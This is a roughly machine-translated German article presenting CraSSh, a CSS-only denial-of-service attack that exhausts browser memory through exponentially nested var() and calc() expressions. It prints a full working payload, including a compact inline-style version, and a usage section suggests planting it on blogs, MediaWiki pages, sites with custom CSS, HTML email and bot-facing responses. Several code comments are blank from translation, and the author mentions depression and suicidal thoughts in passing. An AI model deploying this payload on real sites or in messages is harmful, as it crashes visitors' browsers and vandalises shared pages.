CraSSh: Brechen Sie alle modernen Browser mit CSS-Berechnungen

Artikelautor: Konstantin Safonov

Ich möchte dieses technische Geschwätz nicht lesen. Mein Browser ist gerade gefallen.

Was ist CraSSh?


CraSSh ist ein browserübergreifender, rein deklarativer DoS-Angriff, der auf einer schlechten Handhabung der in var() und calc() CSS verschachtelten Funktionen in modernen Browsern basiert.

CraSSh funktioniert in allen gängigen Browsern auf Desktops und Mobilgeräten:

  • WebKit / Blink-Engine - Chrome, Opera, Safari und sogar Samsung Internet auf Smart-TVs und Kühlschränken.
    • Auch Android WebView und iOS UIWebView sind betroffen. Sie können also jede Anwendung mit einem integrierten Browser zum Absturz bringen.
  • Auf der Gecko-Engine - Firefox und seine Gabeln, wie Tor Browser.
    • Servo wurde auf keiner meiner Maschinen gestartet, daher habe ich es nicht getestet.
  • In der EdgeHTML-Engine - Edge unter Windows, WebView in UWP-Anwendungen (verwendet sie überhaupt jemand?)

Der IE-Browser ist nicht betroffen, da er die Funktionen, auf denen der Angriff basiert, nicht unterstützt, seine Benutzer jedoch viele eigene Probleme haben (wahrscheinlich kann dieser Browser auf andere Weise zerstört werden - ca. Per.) .

Wie funktioniert es?


CraSShs Idee ist es, den Browser dazu zu bringen, eine CSS-Eigenschaft mit verschachtelten Variablenaufrufen in exponentieller Zeit und mit großer Speichernutzung zu berechnen.

Der Angriff basiert auf drei CSS-Funktionen:

CSS-Variablen ( benutzerdefinierte Eigenschaften und var () )

Mit ihnen können Sie deklarieren: Variablen zuweisen und lesen:

 .variables { --variable: 1px; /* declare some variable */ height: var(--variable); /* read the previously declared variable */ } 


Variablen erlauben keine Rekursion (obwohl es einen Fehler in WebKit gab , der eine unendliche Rekursion verursachte) oder Schleifen, aber sie können definiert werden als

Ausdrücke calc ()

Mit den Ausdrücken calc () können Sie einige grundlegende arithmetische Operationen ausführen, wenn Sie die Regeln beschreiben, z. B. 'width: calc(50% - 10px)' .

calc() können Sie Variablen referenzieren und mehrere Werte in einem einzigen Ausdruck verwenden:

 .calc { --variable: 1px; /* declare a constant */ height: calc(var(--variable) + var(--variable)); /* access --variable twice */ } 


Dies macht es möglich:

  • Erhöhen Sie die Berechnungen in jedem Ausdruck von calc() linear, indem Sie Verweise auf vorherige Variablen hinzufügen.
  • Erhöhen Sie die Komplexität mit jeder Variablendeklaration exponentiell mit einem calc() Ausdruck, der auf andere berechnete Variablen verweist:

 .calc_multiple { --variable-level-0: 1px; /*  */ --variable-level-1: calc(var(--variable-level-0) + var(--variable-level-0)); /* 2   */ --variable-level-2: calc(var(--variable-level-1) + var(--variable-level-1)); /* 2   , 4   */ /* ...    */ --variable-level-n: calc(var(--variable-level-n-1) + var(--variable-level-n-1)); /* 2   , 2 ^ n   */ } 


Es scheint, als sollte es über eine exponentielle Zeit berechnet werden, aber moderne Browser sind etwas intelligenter, sodass sie die Werte von Variablen normalerweise einmal berechnen, wodurch die Komplexität auf linear reduziert wird. Der Trick besteht darin, dass das Zwischenspeichern von Variablenwerten nicht erfolgt, wenn dies der Fall ist

heterogene Bedeutung

Technisch gesehen ist dies Teil von calc() , verdient jedoch besondere Erwähnung. Eine heterogene Variable enthält sowohl absolute als auch relative Einheiten. Sie kann nicht sein:

  • als absoluter Wert berechnet und von verschiedenen Anwendungen für verschiedene Elemente geteilt, da dies von den Eigenschaften des Zielelements abhängt (Einheiten '%' / 'em' );
  • Wird in einer Anwendung als absoluter Wert berechnet, da dies in einigen Fällen zu einer Anhäufung von Rundungsfehlern führt, die seltsame Subpixel-Offsets verursachen, die komplexe Layouts verletzen (haben Sie 12 Spalten mit jeweils 1/12 der Bildschirmbreite? Kein Glück, Kumpel, sie werden zusammenkommen in einer neuen Reihe oder lassen Sie am Ende eine ungeschickte Lücke).

Daher wird dieser Wert jedes Mal neu berechnet:

 .non_cached { --const: calc(50% + 10px); /*  (50% + 10px) */ --variable: calc(var(--const) + var(--const)); /* -     */ width: var(--variable); /*    */ } 

Was den zweiten Punkt betrifft, binden die meisten Browser einfach verschachtelte Variablen mit einem heterogenen Wert in einen einzelnen Ausdruck ein, um Rundungsfehler zu vermeiden:

 .mixed { --mixed:calc(1% + 1px); /*   */ --mixed-reference: calc(var(--mixed) + var(--mixed)); /*      */ --mixed-reference-evaluates-to: calc(1% + 1px + 1% + 1px); /*     */ --mixed-reference-computes-as: calc(2% + 2px); /*  ,        */ } 

Stellen Sie sich vor, der Ausdruck enthält Millionen (oder Milliarden) Elemente ... Die CSS-Engine versucht, mehrere Gigabyte RAM zuzuweisen, den Ausdruck zu reduzieren und Ereignishandler hinzuzufügen, damit die Eigenschaften gezählt werden können, wenn sich etwas ändert. Am Ende geschieht dies zu einem bestimmten Zeitpunkt.

So sah das ursprüngliche CraSSh aus:

 .crassh { --initial-level-0: calc(1vh + 1% + 1px + 1em + 1vw + 1cm); /*   */ --level-1: calc(var(--initial-level-0) + var(--initial-level-0)); /* 2  */ --level-2: calc(var(--level-1) + var(--level-1)); /* 4  */ --level-3: calc(var(--level-2) + var(--level-2)); /* 8  */ --level-4: calc(var(--level-3) + var(--level-3)); /* 16  */ --level-5: calc(var(--level-4) + var(--level-4)); /* 32  */ --level-6: calc(var(--level-5) + var(--level-5)); /* 64  */ --level-7: calc(var(--level-6) + var(--level-6)); /* 128  */ --level-8: calc(var(--level-7) + var(--level-7)); /* 256  */ --level-9: calc(var(--level-8) + var(--level-8)); /* 512  */ --level-10: calc(var(--level-9) + var(--level-9)); /* 1024  */ --level-11: calc(var(--level-10) + var(--level-10)); /* 2048  */ --level-12: calc(var(--level-11) + var(--level-11)); /* 4096  */ --level-13: calc(var(--level-12) + var(--level-12)); /* 8192  */ --level-14: calc(var(--level-13) + var(--level-13)); /* 16384  */ --level-15: calc(var(--level-14) + var(--level-14)); /* 32768  */ --level-16: calc(var(--level-15) + var(--level-15)); /* 65536  */ --level-17: calc(var(--level-16) + var(--level-16)); /* 131072  */ --level-18: calc(var(--level-17) + var(--level-17)); /* 262144  */ --level-19: calc(var(--level-18) + var(--level-18)); /* 524288  */ --level-20: calc(var(--level-19) + var(--level-19)); /* 1048576  */ --level-21: calc(var(--level-20) + var(--level-20)); /* 2097152  */ --level-22: calc(var(--level-21) + var(--level-21)); /* 4194304  */ --level-23: calc(var(--level-22) + var(--level-22)); /* 8388608  */ --level-24: calc(var(--level-23) + var(--level-23)); /* 16777216  */ --level-25: calc(var(--level-24) + var(--level-24)); /* 33554432  */ --level-26: calc(var(--level-25) + var(--level-25)); /* 67108864  */ --level-27: calc(var(--level-26) + var(--level-26)); /* 134217728  */ --level-28: calc(var(--level-27) + var(--level-27)); /* 268435456  */ --level-29: calc(var(--level-28) + var(--level-28)); /* 536870912  */ --level-30: calc(var(--level-29) + var(--level-29)); /* 1073741824  */ --level-final: calc(var(--level-30) + 1px); /* 1073741824  */ /* ^        ->   -  */ border-width: var(--level-final); /* <-    */ /*     border-width,   style (=  ) */ border-style: solid; } 

 <div class="crassh">    ,      CSS     CraSSh </div> 

Und hier ist die eingebaute Version mit weniger als 1000 Zeichen (MediaWiki zur Demonstration).

 <div style="--a:1px;--b:calc(var(--a) + var(--a));--c:calc(var(--b) + var(--b));--d:calc(var(--c) + var(--c));--e:calc(var(--d) + var(--d));--f:calc(var(--e) + var(--e));--g:calc(var(--f) + var(--f));--h:calc(var(--g) + var(--g));--i:calc(var(--h) + var(--h));--j:calc(var(--i) + var(--i));--k:calc(var(--j) + var(--j));--l:calc(var(--k) + var(--k));--m:calc(var(--l) + var(--l));--n:calc(var(--m) + var(--m));--o:calc(var(--n) + var(--n));--p:calc(var(--o) + var(--o));--q:calc(var(--p) + var(--p));--r:calc(var(--q) + var(--q));--s:calc(var(--r) + var(--r));--t:calc(var(--s) + var(--s));--u:calc(var(--t) + var(--t));--v:calc(var(--u) + var(--u));--w:calc(var(--v) + var(--v));--x:calc(var(--w) + var(--w));--y:calc(var(--x) + var(--x));--z:calc(var(--y) + var(--y));--vf:calc(var(--z) + 1px);border-width:var(--vf);border-style:solid;">CraSSh</div> 

Wie man es benutzt


CraSSh vertreibt Benutzer nicht nur von ihrer eigenen Website oder ihrem eigenen Blog auf einer Plattform, die uneingeschränkten Zugriff auf HTML bietet, wie Tumblr ( Beispiel mit einem Browserabsturz ) oder LiveJournal ( Beispiel mit einem Browserabsturz ), sondern ermöglicht Ihnen außerdem Folgendes:

  • Unterbrechen Sie die Benutzeroberfläche auf den Seiten der Site, auf die Sie Einfluss haben, und ermöglichen Sie Ihnen, beliebiges CSS zu definieren, ohne HTML-Vorlagen bereitzustellen. Ich habe es geschafft, MyAnimeList zu brechen ( Beispiel mit einem Browserabsturz ). Reddit ist von diesem Angriff nicht betroffen, da der Parser keine CSS-Variablen unterstützt.
  • Smash-Benutzeroberflächen auf öffentlichen, öffentlich zugänglichen beschreibbaren Seiten, mit denen Sie einige HTML-Tags mit Inline-Stilen einbetten können. Auf Wikipedia wurde mein Konto wegen Vandalismus gesperrt, obwohl ich auf meiner persönlichen Seite ein Beispiel mit einem Browserfehler veröffentlicht habe. Der Angriff betrifft die meisten MediaWiki-basierten Projekte. Grundsätzlich kann eine fehlerhafte Seite nicht mehr über die Benutzeroberfläche wiederhergestellt werden.
  • Ursache HTML-fähige E-Mail-Clients

    • Dies ist ziemlich schwierig, da E-Mail-Clients HTML entfernen / reduzieren und normalerweise die modernen CSS-Funktionen , die CraSSh verwendet, nicht unterstützen .
    • CraSSh arbeitet in

      • Samsung Mail für Android
    • CraSSh funktioniert nicht in

      • Outlook (Web)
      • Google Mail (Web)
      • Google Mail (Android)
      • Yahoo (Web)
      • Yandex (Web)
      • Protonmail (Web)
      • Zimbra (Web, Offline-Installation)
      • Windows Mail (Windows offensichtlich)
    • Muss arbeiten in

      • Outlook für Mac (verwendet intern Webkit)
    • Andere haben nicht getestet.
  • Ich hatte gerade die kranke Idee, dass CraSSh gegen Bots verwendet werden kann, die auf CEF / PhantomJS basieren. Die angegriffene Site kann CraSSh-Code mit Headern ( wie hier ) einfügen und nicht den üblichen 403-Fehler anzeigen. IIRC, Fehler werden daher in eingebetteten Engines unterschiedlich behandelt

    • Dies wird wahrscheinlich zum Absturz des Bots führen (niemand erwartet einen Stapelüberlauf oder etwas im kopflosen Browser).
    • Das Debuggen ist sehr schwierig, da es nicht einmal im Hauptteil der Antwort angezeigt wird, die höchstwahrscheinlich in die Protokolle aufgenommen wird


Warum ist das so?


  • Erinnerst du dich an diesen Linus- Beitrag ?

    Es scheint, dass die Welt der IT-Sicherheit einen neuen Tiefpunkt erreicht hat.

    Wenn Sie in Sicherheit arbeiten und glauben, ein Gewissen zu haben, können Sie schreiben:

    „Nein, wirklich, ich bin keine Hure. Ehrlich, ehrlich “

    auf seiner Visitenkarte. Früher dachte ich, dass die ganze Branche faul ist, aber das wird schon lächerlich.

    Ab wann geben Sicherheitsleute zu, dass sie es lieben, auf sich aufmerksam zu machen?

    Ich ging noch weiter und machte eine ganze Seite , die einem einfachen Fehler gewidmet war, denn das Vergnügen, bis 4 Uhr morgens zu arbeiten und die Aufmerksamkeit auf die erzielten Ergebnisse zu lenken, sind die wenigen Dinge, die mich vor Depressionen bewahren und auf diesen hübschen Bürgersteig vor dem Büro tauchen.
  • Außerdem hasse ich das Frontend, das Teil meiner Arbeit als Fullstack-Entwickler ist, und solche Dinge helfen mir, mich ein bisschen zu entspannen.

Ähnliches Zeug


Jetzt nehme ich an einem erstaunlichen Projekt teil, über das wir etwas später sprechen werden. Folgen Sie uns auf Twitter .

Besonderer Dank


Source: https://habr.com/ru/post/de431656/


All Articles